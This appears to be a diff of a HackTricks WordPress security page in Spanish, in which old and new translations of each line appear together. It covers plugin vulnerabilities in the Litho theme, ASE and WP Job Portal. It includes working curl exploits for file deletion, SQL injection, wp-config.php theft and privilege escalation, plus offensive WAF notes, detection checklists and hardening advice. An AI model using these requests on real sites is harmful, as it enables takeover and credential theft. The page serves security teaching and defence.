Why it works
|
||||
|
||||
- El plugin mapea una cabecera controlada por el cliente a un estado de autenticación y omite las comprobaciones de capability.
|
||||
- WordPress core espera la capability `create_users` para esta ruta; el hack del plugin la elude estableciendo directamente el contexto del usuario actual desde la cabecera.
|
||||
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 201 con un cuerpo JSON que describe el usuario creado.
|
||||
- Un nuevo usuario admin visible en `wp-admin/users.php`.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Grep por `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs que lean cabeceras personalizadas para establecer el contexto de usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revisar las REST registrations en busca de callbacks privilegiados que carezcan de comprobaciones robustas de `permission_callback` y en su lugar confíen en las cabeceras de la solicitud.
|
||||
- Buscar usos de funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que estén protegidos únicamente por valores de cabecera.
|
||||
|
||||
Hardening
|
||||
|
||||
- Nunca derives autenticación o autorización de cabeceras controladas por el cliente.
|
||||
- Si un proxy inverso debe inyectar identidad, termina la confianza en el proxy y elimina las copias entrantes (p. ej., `unset X-Wcpay-Platform-Checkout-User` en el edge), luego pasa un token firmado y verifícalo server-side.
|
||||
- Para rutas REST que realicen acciones privilegiadas, requiere comprobaciones con `current_user_can()` y un `permission_callback` estricto (NO uses `__return_true`).
|
||||
- Prefiere autenticación first-party (cookies, application passwords, OAuth) sobre la “impersonation” vía cabeceras.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -398,26 +445,26 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
```
|
||||
Problemas introducidos por este fragmento:
|
||||
|
||||
* **Acceso no autenticado** – se registra el gancho `wp_ajax_nopriv_`.
|
||||
* **Sin verificación de nonce / capacidad** – cualquier visitante puede acceder al endpoint.
|
||||
* **Sin saneamiento de ruta** – la cadena `fontfamily` controlada por el usuario se concatena a una ruta del sistema de archivos sin filtrado, lo que permite la clásica travesía `../../`.
|
||||
* **Acceso no autenticado** – el hook `wp_ajax_nopriv_` está registrado.
|
||||
* **Sin comprobación de nonce / capacidades** – cualquier visitante puede acceder al endpoint.
|
||||
* **Sin sanitización de paths** – la cadena controlada por el usuario `fontfamily` se concatena a una ruta del sistema de archivos sin filtrado, permitiendo el clásico `../../` traversal.
|
||||
|
||||
#### Explotación
|
||||
|
||||
Un atacante puede eliminar cualquier archivo o directorio **debajo del directorio base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una única solicitud HTTP POST:
|
||||
Un atacante puede eliminar cualquier archivo o directorio **por debajo del directorio base uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una única solicitud HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Porque `wp-config.php` se encuentra fuera de *uploads*, cuatro secuencias de `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` obliga a WordPress a entrar en el *asistente de instalación* en la próxima visita, permitiendo una toma de control total del sitio (el atacante simplemente proporciona una nueva configuración de DB y crea un usuario administrador).
|
||||
Porque `wp-config.php` vive fuera de *uploads*, cuatro secuencias `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` fuerza a WordPress al *asistente de instalación* en la siguiente visita, permitiendo la toma total del sitio (el atacante simplemente proporciona una nueva configuración de la base de datos y crea un usuario administrador).
|
||||
|
||||
Otros objetivos impactantes incluyen archivos `.php` de plugins/temas (para romper plugins de seguridad) o reglas de `.htaccess`.
|
||||
Otros objetivos importantes incluyen archivos plugin/theme `.php` (para deshabilitar plugins de seguridad) o reglas `.htaccess`.
|
||||
|
||||
#### Lista de verificación de detección
|
||||
|
||||
* Cualquier callback `add_action( 'wp_ajax_nopriv_...')` que llame a ayudantes del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenación de entrada de usuario no sanitizada en rutas (busque `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Cualquier `add_action( 'wp_ajax_nopriv_...')` callback que llame helpers del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenación de entrada de usuario no saneada en rutas (buscar `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Ausencia de `check_ajax_referer()` y `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Endurecimiento
|
||||
@ -440,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Siempre** trata cualquier operación de escritura/borrado en el disco como privilegiada y verifica dos veces:
|
||||
> • Autenticación • Autorización • Nonce • Saneamiento de entrada • Contención de ruta (por ejemplo, a través de `realpath()` más `str_starts_with()`).
|
||||
> **Siempre** trata cualquier operación de escritura/eliminación en disco como privilegiada y verifica doblemente:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Escalación de privilegios a través de la restauración de roles obsoletos y autorización faltante (ASE "Ver Admin como Rol")
|
||||
### Escalada de privilegios mediante restauración obsoleta de roles y falta de autorización (ASE "View Admin as Role")
|
||||
|
||||
Muchos plugins implementan una función de "ver como rol" o cambio temporal de rol guardando el/los rol(es) original(es) en los metadatos del usuario para que puedan ser restaurados más tarde. Si la ruta de restauración se basa únicamente en parámetros de solicitud (por ejemplo, `$_REQUEST['reset-for']`) y una lista mantenida por el plugin sin verificar capacidades y un nonce válido, esto se convierte en una escalación de privilegios vertical.
|
||||
Muchos plugins implementan una función de "view as role" o conmutación temporal de roles guardando el/los role(s) originales en user meta para poder restaurarlos más tarde. Si la ruta de restauración depende únicamente de parámetros de la petición (e.g., `$_REQUEST['reset-for']`) y de una lista mantenida por el plugin sin comprobar capacidades y un nonce válido, esto se convierte en una escalada de privilegios vertical.
|
||||
|
||||
Un ejemplo del mundo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reinicio restauró roles basados en `reset-for=<username>` si el nombre de usuario aparecía en un array interno `$options['viewing_admin_as_role_are']`, pero no realizó una verificación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a agregar los roles guardados de los metadatos del usuario `_asenha_view_admin_as_original_roles`:
|
||||
Un ejemplo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reset restauraba roles basándose en `reset-for=<username>` si el nombre de usuario aparecía en una matriz interna `$options['viewing_admin_as_role_are']`, pero no realizaba ni una comprobación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a añadir los roles guardados en el user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -466,15 +513,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Por qué es explotable
|
||||
|
||||
- Confía en `$_REQUEST['reset-for']` y una opción de plugin sin autorización del lado del servidor.
|
||||
- Si un usuario anteriormente tenía privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de reinicio.
|
||||
- En algunas implementaciones, cualquier usuario autenticado podría activar un reinicio para otro nombre de usuario aún presente en `viewing_admin_as_role_are` (autorización rota).
|
||||
- Confía en `$_REQUEST['reset-for']` y una opción del plugin sin autorización del lado del servidor.
|
||||
- Si un usuario previamente tuvo privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de restablecimiento.
|
||||
- En algunas implementaciones, cualquier usuario autenticado podría desencadenar un restablecimiento para otro nombre de usuario todavía presente en `viewing_admin_as_role_are` (autorización rota).
|
||||
|
||||
Requisitos previos para el ataque
|
||||
Requisitos del ataque
|
||||
|
||||
- Versión vulnerable del plugin con la función habilitada.
|
||||
- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en los metadatos del usuario de un uso anterior.
|
||||
- Cualquier sesión autenticada; falta nonce/capacidad en el flujo de reinicio.
|
||||
- Versión del plugin vulnerable con la función activada.
|
||||
- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en meta de usuario por un uso anterior.
|
||||
- Cualquier sesión autenticada; falta nonce/capability en el flujo de restablecimiento.
|
||||
|
||||
Explotación (ejemplo)
|
||||
```bash
|
||||
@ -484,58 +531,74 @@ Explotación (ejemplo)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
En compilaciones vulnerables, esto elimina los roles actuales y vuelve a agregar los roles originales guardados (por ejemplo, `administrator`), escalando efectivamente los privilegios.
|
||||
En versiones vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), escalando efectivamente los privilegios.
|
||||
|
||||
Lista de verificación de detección
|
||||
Detection checklist
|
||||
|
||||
- Busque características de cambio de rol que persistan "roles originales" en los metadatos del usuario (por ejemplo, `_asenha_view_admin_as_original_roles`).
|
||||
- Identifique rutas de restablecimiento/restauración que:
|
||||
- Lean nombres de usuario de `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifiquen roles a través de `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autoricen basándose en un array de opciones del plugin (por ejemplo, `viewing_admin_as_role_are`) en lugar de las capacidades del actor.
|
||||
- Busca funciones de cambio de rol que persistan los "roles originales" en user meta (p. ej., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifica rutas de restablecimiento/restauración que:
|
||||
- Leen nombres de usuario desde `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifican roles mediante `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizan basándose en un array de opciones del plugin (p. ej., `viewing_admin_as_role_are`) en lugar de en las capacidades del actor.
|
||||
|
||||
Fortalecimiento
|
||||
Hardening
|
||||
|
||||
- Haga cumplir las verificaciones de capacidad en cada rama que cambie el estado (por ejemplo, `current_user_can('manage_options')` o más estrictas).
|
||||
- Requiera nonces para todas las mutaciones de rol/permisos y verifíquelos: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nunca confíe en los nombres de usuario proporcionados por la solicitud; resuelva el usuario objetivo del lado del servidor basado en el actor autenticado y la política explícita.
|
||||
- Invalide el estado de "roles originales" en actualizaciones de perfil/rol para evitar la restauración de privilegios altos obsoletos:
|
||||
- Forzar comprobaciones de capacidades en cada rama que cambie el estado (p. ej., `current_user_can('manage_options')` o más estricta).
|
||||
- Exigir nonces para todas las mutaciones de roles/permisos y verificarlos mediante: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nunca confíes en nombres de usuario suministrados en la solicitud; resuelve el usuario objetivo del lado del servidor basándote en el actor autenticado y en la política explícita.
|
||||
- Invalidar el estado de los "roles originales" en actualizaciones de perfil/rol para evitar la restauración obsoleta de privilegios altos:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Considera almacenar un estado mínimo y usar tokens limitados en el tiempo y protegidos por capacidades para cambios de rol temporales.
|
||||
- Considere almacenar un estado mínimo y usar tokens limitados en el tiempo, capability-guarded, para cambios temporales de rol.
|
||||
|
||||
---
|
||||
|
||||
### Consideraciones de WAF para WordPress/plugin CVEs
|
||||
|
||||
Los WAFs genéricos de edge/servidor se ajustan a patrones amplios (SQLi, XSS, LFI). Muchas fallas de alto impacto en WordPress/plugins son errores de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica de los plugins.
|
||||
|
||||
Offensive notes
|
||||
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
|
||||
## Protección de WordPress
|
||||
|
||||
### Actualizaciones Regulares
|
||||
### Actualizaciones regulares
|
||||
|
||||
Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
|
||||
Asegúrese de que WordPress, plugins y themes estén actualizados. También confirme que la actualización automática esté habilitada en wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
También, **solo instala plugins y temas de WordPress confiables**.
|
||||
Además, **solo instala plugins y temas de WordPress de confianza**.
|
||||
|
||||
### Plugins de Seguridad
|
||||
### Plugins de seguridad
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **Otras Recomendaciones**
|
||||
### **Otras recomendaciones**
|
||||
|
||||
- Elimina el usuario **admin** por defecto
|
||||
- Elimina el usuario predeterminado **admin**
|
||||
- Usa **contraseñas fuertes** y **2FA**
|
||||
- Revisa periódicamente los **permisos** de los usuarios
|
||||
- **Limita los intentos de inicio de sesión** para prevenir ataques de Fuerza Bruta
|
||||
- Periódicamente **revisa** los **permisos** de los usuarios
|
||||
- **Limita los intentos de inicio de sesión** para prevenir ataques Brute Force
|
||||
- Renombra el archivo **`wp-admin.php`** y permite el acceso solo internamente o desde ciertas direcciones IP.
|
||||
|
||||
### Inyección SQL no autenticada a través de validación insuficiente (WP Job Portal <= 2.3.2)
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
El plugin de reclutamiento WP Job Portal expuso una tarea **savecategory** que finalmente ejecuta el siguiente código vulnerable dentro de `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
@ -547,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Problemas introducidos por este fragmento:
|
||||
Problemas introducidos por este fragmento de código:
|
||||
|
||||
1. **Entrada de usuario no sanitizada** – `parentid` proviene directamente de la solicitud HTTP.
|
||||
2. **Concatenación de cadenas dentro de la cláusula WHERE** – sin `is_numeric()` / `esc_sql()` / declaración preparada.
|
||||
3. **Accesibilidad no autenticada** – aunque la acción se ejecuta a través de `admin-post.php`, la única verificación en su lugar es un **nonce CSRF** (`wp_verify_nonce()`), que cualquier visitante puede recuperar de una página pública que incruste el shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Entrada de usuario no saneada** – `parentid` proviene directamente de la petición HTTP.
|
||||
2. **Concatenación de cadenas dentro de la cláusula WHERE** – no `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Accesibilidad sin autenticación** – aunque la acción se ejecuta a través de `admin-post.php`, la única verificación es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede obtener desde una página pública que incluya el shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Explotación
|
||||
|
||||
1. Obtén un nonce fresco:
|
||||
1. Obtener un nonce fresco:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Inyecta SQL arbitrario abusando de `parentid`:
|
||||
2. Inyectar SQL arbitraria abusando de `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -567,18 +630,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando SQLi.
|
||||
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando un SQLi.
|
||||
|
||||
|
||||
### Descarga de Archivos Arbitrarios No Autenticada / Traversal de Ruta (WP Job Portal <= 2.3.2)
|
||||
### Descarga arbitraria de archivos sin autenticación / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en disco** a través de traversal de ruta. El sumidero vulnerable se encuentra en `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en disco** mediante path traversal. El sink vulnerable está ubicado en `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` es controlado por el atacante y se concatena **sin sanitización**. Nuevamente, la única barrera es un **nonce CSRF** que se puede obtener de la página de currículum.
|
||||
`$file_name` está controlado por el atacante y concatenado **sin saneamiento**. Nuevamente, la única barrera es un **CSRF nonce** que puede obtenerse desde la página de currículum.
|
||||
|
||||
#### Explotación
|
||||
```bash
|
||||
@ -589,7 +652,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
El servidor responde con el contenido de `wp-config.php`, filtrando las credenciales de la base de datos y las claves de autenticación.
|
||||
El servidor responde con el contenido de `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Referencias
|
||||
|
||||
@ -597,5 +660,8 @@ El servidor responde con el contenido de `wp-config.php`, filtrando las credenci
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user